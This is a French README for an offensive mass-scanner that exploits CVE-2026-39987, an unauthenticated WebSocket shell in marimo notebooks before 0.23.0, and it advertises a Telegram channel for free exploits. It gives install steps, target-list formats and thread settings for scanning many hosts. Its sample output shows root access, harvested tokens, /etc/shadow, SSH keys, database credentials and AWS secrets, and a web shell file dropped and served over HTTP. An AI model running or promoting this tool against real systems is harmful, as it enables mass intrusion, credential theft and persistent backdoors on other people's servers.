
marimo est un notebook Python réactif. Avant la version 0.23.0, Marimo présente une vulnérabilité d'exécution de code à distance (RCE) avant authentification.
marimo est un notebook Python réactif. Avant la version 0.23.0, Marimo présente une vulnérabilité RCE Pre-Auth.
___ _ ___ __ __ __ __ ___ __ __ _______
/ (_)(_| |_// (_) / )/ \/ )/ / \/ |/ |/ \ /
| | | \__ /| | /| __ __/\_/|\_/|\__/ /
| | | / -----/ | |/ |/ \----- \ | |/ \ /
\___/ \_/ \___/ /___\__//___\__/ \___/ | |\__//
/terminal/ws — RCE Pre-Auth via WebSocket non authentifié
Auteur : Nxploited · Telegram : @KNxploited
📢 Rejoignez le canal Telegram pour les derniers zero-days & exploits gratuits :
🔗 Nxploited ZeroDay Hub — t.me/KNxploited
CVE-2026-39987 est une vulnérabilité critique d'exécution de code à distance avant authentification (Pre-Authentication Remote Code Execution) affectant Marimo, une plateforme open-source de notebooks Python réactifs.
Le point de terminaison WebSocket /terminal/ws ne comporte aucune validation d'authentification, ce qui permet à tout attaquant distant non authentifié d'obtenir un shell PTY complet et d'exécuter des commandes système arbitraires avec les privilèges du processus en cours — souvent root dans les déploiements conteneurisés.
Contrairement à d'autres points de terminaison WebSocket comme /ws, qui invoquent correctement validate_auth() avant d'accepter les connexions, le point de terminaison /terminal/ws ne vérifie que le mode d'exécution et la compatibilité de la plateforme, en sautant entièrement l'authentification.
✅ Corrigé dans :
marimo >= 0.23.0❌ Toutes les versions antérieures à0.23.0sont vulnérables
| Propriété | Valeur |
|---|---|
| Identifiant CVE | CVE-2026-39987 |
| Logiciel affecté | marimo < 0.23.0 |
| Classe de vulnérabilité | RCE Pre-Auth via WebSocket non authentifié |
| Point de terminaison affecté | /terminal/ws |
| Vecteur d'attaque | Réseau |
| Authentification requise | ❌ Aucune |
| Interaction utilisateur | ❌ Aucune |
| Sévérité | 🔴 Critique |
| Impact | Shell PTY complet · Exécution de commandes arbitraires |
| Version corrigée | marimo 0.23.0 |
/ws → calls validate_auth() ✅ Authentication enforced
/terminal/ws → skips validate_auth() ❌ No authentication
Le gestionnaire /terminal/ws vérifie uniquement :
Il ne valide jamais les jetons de session, les cookies ou toute forme d'identité — ce qui fait de chaque instance Marimo exposée un shell direct.
.py.env · wp-config.php · clés privées SSH · /etc/shadowPython 3.10 or higher
Installer les dépendances :
pip install websockets rich requests urllib3
Ou en utilisant le fichier requirements :
pip install -r requirements.txt
requirements.txt
websockets
rich
requests
urllib3
Créez un fichier nommé targets.txt avec une cible par ligne.
L'outil accepte tous les formats :
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718
Formats pris en charge : IP seule · IP:port · domaine · domaine:port ·
http://·https://·ws://·wss://
python3 CVE-2026-39987.py
▸ Targets file (default: targets.txt) : targets.txt
▸ Threads (default: 50) : 100
Plage de threads : 1–300. Recommandé : 50–150 selon votre réseau.
╭──────────────────────────────────────────────────────────╮
│ CVE-2026-39987 · Marimo WebSocket RCE │
│ MASS SCANNER · FULL ENUM · SMART DETECT │
│ By: Nxploited · github.com/Nxploited · @KNxploited │
╰──────────────────────────────────────────────────────────╯
══════════════ ws://192.168.1.100:2718/terminal/ws ══════════
╭────────────────────────────────────────╮
│ ◈◈◈ ROOT ACCESS ◈◈◈ │
│ ws://192.168.1.100:2718 │
│ uid ▸ uid=0(root) groups=[root] │
╰────────────────────────────────────────╯
── ENVIRONMENT ──────────────────────────────────────────
✦ Type MARIMO
◈ Docker True
◈ Marimo version 0.22.1
◈ Notebook directory /app/notebooks
── MARIMO — NOTEBOOKS ───────────────────────────────────
✦ Notebooks 7 found
· /app/notebooks/analysis.py
· /app/notebooks/data_pipeline.py
· /app/notebooks/etl_job.py
── MARIMO — TOKENS ──────────────────────────────────────
✦ Token CLI secret-token-abc123xyz
✦ .marimo.toml /root/.marimo.toml
── /etc SENSITIVE ──────────────────────────────────────
✦ /etc/shadow READABLE [42 entries]
◈ /etc/passwd [42 lines]
◈ /etc/crontab [12 lines]
── SSH KEYS ─────────────────────────────────────────────
✦ /root/.ssh/id_rsa FOUND
✦ /root/.ssh/id_ed25519 FOUND
── DATABASES ────────────────────────────────────────────
✦ MySQL DATABASES LISTED
✦ Redis PONG — NO AUTH
✦ DuckDB files /app/notebooks/data.duckdb
── SENSITIVE ENV VARS ───────────────────────────────────
✦ DATABASE_URL postgresql://admin:p4ss@db:5432/prod
✦ AWS_SECRET_ACCESS_KEY redacted...
── NX FILE DROP ──────────────────────────────��──────────
✦ Shell write /app/notebooks/Nx.py
✦ HTTP access http://192.168.1.100:2718/Nx.py